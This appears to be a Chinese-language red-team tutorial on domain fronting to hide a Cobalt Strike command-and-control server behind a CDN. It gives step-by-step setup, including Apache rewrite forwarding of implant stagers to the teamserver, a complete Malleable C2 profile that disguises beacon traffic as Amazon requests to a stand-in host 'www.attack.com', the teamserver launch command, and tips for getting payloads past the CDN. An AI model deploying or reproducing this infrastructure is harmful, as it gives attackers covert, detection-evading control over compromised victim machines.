Domain Fronting
step1: apache or ngnix
1:首先需要一台前置服务器,以便流量中转。然后注册一个域名,如:attack.com
2:然后利用CDN解析域名到域前置服务器同时隐藏ip
有时候修改HTTP包内的Host头字段,会将HTTP包发送给Host指向的那个域名。这就是因为这两个网站域名都是使用了同一家的CDN,而CDN就是通过判断Host头进行流量转发的。
很多CDN都存在这个特性。因此CDN可以匿藏你的域前置服务器的ip.
step2: 域前置服务器的Rewrite设置
域前置服务器收到cs马的stage,需要转发给teamserver,这时候需要利用rewrite进行流量的转发。
这里可以利用脚本 生成apache 的rewrite配置代码。
step3:C2 Server自定义流量
配置C2 profile以设置CS生成payload的http请求参数,我这里直接使用并修改了harmj0y 在github上的项目Malleable-C2-Profiles 中的amazon.profile。
set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";
http-get {
set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";
client {
header "Accept" "*/*";
header "Host" "www.attack.com";
metadata {
base64;
prepend "session-token=";
prepend "skin=noskin;";
append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
header "Cookie";
}
}
server {
header "Server" "Server";
header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT";
header "x-amz-id-2" "a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=";
header "X-Frame-Options" "SAMEORIGIN";
header "Content-Encoding" "gzip";
output {
print;
}
}
}
http-post {
set uri "/N4215/adj/amzn.us.sr.aps";
client {
header "Accept" "*/*";
header "Content-Type" "text/xml";
header "X-Requested-With" "XMLHttpRequest";
header "Host" "www.attack.com";
parameter "sz" "160x600";
parameter "oe" "oe=ISO-8859-1;";
id {
parameter "sn";
}
parameter "s" "3717";
parameter "dc_ref" "http%3A%2F%2Fwww.attack.com";
output {
base64;
print;
}
}
server {
header "Server" "Server";
header "x-amz-id-1" "THK9YEZJCKPGY5T42OZT";
header "x-amz-id-2" "a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDVpbgo=";
header "X-Frame-Options" "SAMEORIGIN";
header "x-ua-compatible" "IE=edge";
output {
print;
}
}
}
这里将Host修改成我们申请到的域名就行了(www.attack.com),启动teamserver加载profile。
./teamserver 1.1.1.1 xxxx ./c2.profile
step4:C2-server 创建监听
完成之后,当目标执行payload 对你的域名 attack.com 发起 http://www.attack.com/xxxx 请求
此处连接的显示的ip为CDN的解析IP地址。此时域前置将请求转发到真正的C2-server,然后得到响应payload的stager。
C2-server 上线成功
Tips:记录几个坑点
- 测试Rewrite配置是否正确启动
- CDN会拦截请求,导致文件执行失败,需要设置CDN防火墙
参考链接:
https://xz.aliyun.com/t/7758
https://www.lz1y.cn/2019/03/21/红队基础建设-隐藏你的C2-server/